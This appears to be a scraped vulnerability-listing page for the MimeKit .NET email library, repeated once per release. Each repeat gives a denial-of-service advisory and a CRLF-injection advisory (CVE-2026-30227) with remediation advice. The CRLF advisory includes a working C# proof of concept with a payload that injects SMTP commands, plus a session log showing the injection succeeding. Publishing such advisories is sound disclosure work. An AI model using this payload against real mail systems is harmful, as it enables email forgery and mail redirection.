            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Jun 17, 2023

4.0.0 major

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Apr 15, 2023

3.6.1 patch

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

GHSA-gmc6-fwg3-75m5 Jul 11, 2024

Mimekit has vulnerable dependency that can lead to denial of service

High

Network Low None None

Summary

Denial of service vulnerability.

Details

See: https://github.com/advisories/GHSA-447r-wph3-92pm and https://github.com/dotnet/announcements/issues/312

PoC

Update System.Security.Cryptography.Pkcs to 8.0.1 so that the transitive dependency with the issue gets updated

Impact

Denial of service vulnerability. Affects MimeKit (>= v3.0.0 and <= v4.7.0) when used to decrypt or verify incoming S/MIME messages as well as importing 3rd-party X.509 certificates for use with encrypting outgoing S/MIME messages.

Affected versions


          3.0.0


          3.1.0


          3.1.1


          3.2.0


          3.3.0


          3.4.0


          3.4.1


          3.4.2


          3.4.3


          3.5.0


          3.6.0


          3.6.1

+ 8 more


            4.0.0


            4.1.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0

Fixed in


          4.7.1

References

Updated Nov 29, 2024 · Source: OSV.dev

Mar 19, 2023

3.6.0 minor

2 CVEs

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

